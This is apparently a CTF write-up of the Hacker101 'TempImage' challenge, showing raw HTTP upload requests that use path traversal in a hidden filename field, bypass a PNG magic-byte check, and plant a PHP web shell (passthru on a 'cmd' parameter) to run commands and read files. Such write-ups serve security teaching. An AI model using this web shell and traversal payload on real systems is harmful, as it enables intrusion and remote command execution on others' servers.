The landing page is sparse. It indicates the product is unregistered, and has a single link to an upload page:

TempImage

UNREGISTERED

Upload image

The upload page is just one basic form element allowing the user to select and local file and submit it with the "Upload" button:

Upload

The HTML source of the upload page shows they're using PHP on the server, and a little bit of jquery on the client side to set the value of a hidden div. That's interesting:

<!doctype html>
<html>
	<head>
		<title>TempImage &mdash; Trial</title>
		<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
	</head>
	<body>
		<h1>Upload</h1>
		<form action="doUpload.php" method="POST" enctype="multipart/form-data">
			<input type="file" name="file" id="file">
			<input type="hidden" name="filename" id="filename">
			<input type="submit" value="Upload">
		</form>
		<script>
			$(document).ready(function() {
				$('#file').change(function(e) {
					$('#filename').val(e.target.files[0].name)
				})
			})
		</script>
	</body>
</html>

After uploading a PNG image, the file is available at the URL https://*.ctf.hacker101.com/files/364be8860e8d72b4358b5e88099a935a_test.png, with the string "364be8860e8d72b4358b5e88099a935a_" prepended to the filename. The hidden field for the filename is interesting. I wonder if there's a way to exploit this? What about a path traversal against the hidden #filename form field attribute name? With Caido it's super easy to replay the requests with changes to the POST data:

POST /doUpload.php HTTP/1.1
Host: *.ctf.hacker101.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: multipart/form-data; boundary=---------------------------10206805192242284186201372139
Content-Length: 408
Origin: https://*.ctf.hacker101.com
Connection: keep-alive
Referer: https://*.ctf.hacker101.com/upload.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

-----------------------------10206805192242284186201372139
Content-Disposition: form-data; name="file"; filename="test.png"
Content-Type: image/png

‰PNG


IHDRĉ
IDAT[cø¿”á?珞?oIEND®B`‚
-----------------------------10206805192242284186201372139
Content-Disposition: form-data; name="filename"

/../test.png
-----------------------------10206805192242284186201372139--

Hello flag!


^FLAG^****************************************************************$FLAG$

What about uploading different file types? Uploading an SVG yields the following error:

ERROR: Only PNG format supported in trial.

This clearly suggests that other file formats are supported, they're just gated off in the free tier version. This is a CTF, surely there's a way to bypass this. Trying to upload "test.svg.png" produces the same error, indicating it's more than a simple extension match on the filename. The POST request also has the content type set as image/png, so it's not that either:

POST /doUpload.php HTTP/1.1
Host: *.ctf.hacker101.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: multipart/form-data; boundary=---------------------------12058328252254039435749231946
Content-Length: 1466
Origin: https://*.ctf.hacker101.com
Connection: keep-alive
Referer: https://*.ctf.hacker101.com/upload.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

-----------------------------12058328252254039435749231946
Content-Disposition: form-data; name="file"; filename="test.svg.png"
Content-Type: image/png

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="800" height="800" baseProfile="full" viewBox="-21 -21 42 42">
  <defs>
    <radialGradient id="b" cx=".2" cy=".2" r=".5" fx=".2" fy=".2">
      <stop offset="0" stop-color="#fff" stop-opacity=".7"/>
      <stop offset="1" stop-color="#fff" stop-opacity="0"/>
    </radialGradient>
    <radialGradient id="a" cx=".5" cy=".5" r=".5">
      <stop offset="0" stop-color="#ff0"/>
      <stop offset=".75" stop-color="#ff0"/>
      <stop offset=".95" stop-color="#ee0"/>
      <stop offset="1" stop-color="#e8e800"/>
    </radialGradient>
  </defs>
  <circle r="20" fill="url(#a)" stroke="#000" stroke-width=".15"/>
  <circle r="20" fill="url(#b)"/>
  <g id="c">
    <ellipse cx="-6" cy="-7" rx="2.5" ry="4"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-width=".5" d="M10.6 2.7a4 4 0 0 0 4 3"/>
  </g>
  <use xlink:href="#c" transform="scale(-1 1)"/>
  <path fill="none" stroke="#000" stroke-width=".75" d="M-12 5a13.5 13.5 0 0 0 24 0 13 13 0 0 1-24 0"/>
</svg>
-----------------------------12058328252254039435749231946
Content-Disposition: form-data; name="filename"

test.svg.png
-----------------------------12058328252254039435749231946--

The doUpload.php script must be processing the image in some way to validate that it's a PNG. Could it be using exif_imagetype() and simply checking the first eight bytes of the uploaded data for the PNG file signature?

POST /doUpload.php HTTP/1.1
Host: *.ctf.hacker101.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: multipart/form-data; boundary=---------------------------10206805192242284186201372139
Content-Length: 408
Origin: https://*.ctf.hacker101.com
Connection: keep-alive
Referer: https://*.ctf.hacker101.com/upload.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

-----------------------------10206805192242284186201372139
Content-Disposition: form-data; name="file"; filename="hack.php"
Content-Type: text/plain

‰PNG

<?php passthru($_GET["cmd"]); ?>
-----------------------------10206805192242284186201372139
Content-Disposition: form-data; name="filename"

hack.php
-----------------------------10206805192242284186201372139--

This succeeds without an error. It's definitely only checking for the PNG bytes at the beginning, but the payload isn't being parsed by php. What next? Maybe I need to chain this on the end of the previous path traversal bug to get the php script up a few folders with the rest of the php scripts?

POST /doUpload.php HTTP/1.1
Host: *.ctf.hacker101.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: multipart/form-data; boundary=---------------------------17527935754026445454806324001
Content-Length: 408
Origin: https://*.ctf.hacker101.com
Connection: keep-alive
Referer: https://*.ctf.hacker101.com/upload.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

-----------------------------17527935754026445454806324001
Content-Disposition: form-data; name="file"; filename="/../../hack.php"
Content-Type: image/png

‰PNG


IHDRĉ
IDAT[cø
<?php passthru($_GET["cmd"]); ?>
oIEND®B`‚
-----------------------------17527935754026445454806324001
Content-Disposition: form-data; name="filename"

/../../hack.php
-----------------------------17527935754026445454806324001--

Returning:

HTTP/1.1 302 Found
Date: Sun, 11 Aug 2024 14:51:48 GMT
Content-Type: text/html
Content-Length: 80
Connection: keep-alive
Server: openresty/1.25.3.2
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Location: files/0b3bc0ac9ec906180f6d1a5da1da2d7d_/../../hack.php

<br>^FLAG^****************************************************************$FLAG$

Navigating to https://*.ctf.hacker101.com/hack.php?cmd=echo "hacked!" proves the remote command injection is working:

‰PNG  IHDRĉ IDAT[cø hacked! oIEND®B`‚

Now it's time to go exploring. https://*.ctf.hacker101.com/hack.php?cmd=ls /app

‰PNG


IHDRĉ
IDAT[cø
000-default.conf
Dockerfile
doUpload.php
files
hack.php
index.php
php.ini
setup.sh
upload.php
oIEND®B`‚

I'll start my search for this flag in the index.php file, since that's where it was for Cody's blog. https://*.ctf.hacker101.com/hack.php?cmd=cat /app/index.php:

‰PNG


IHDRĉ
IDAT[cø
<?php /* ^FLAG^****************************************************************$FLAG$ */ ?>
<!doctype html>
<html>
	<head>
		<title>TempImage &mdash; Trial</title>
	</head>
	<body>
		<h1>TempImage</h1>
		<p><b>UNREGISTERED</b></p>
		<p><a href="upload.php">Upload image</a></p>
	</body>
</html>oIEND®B`‚

There it is, hiding in a comment once again!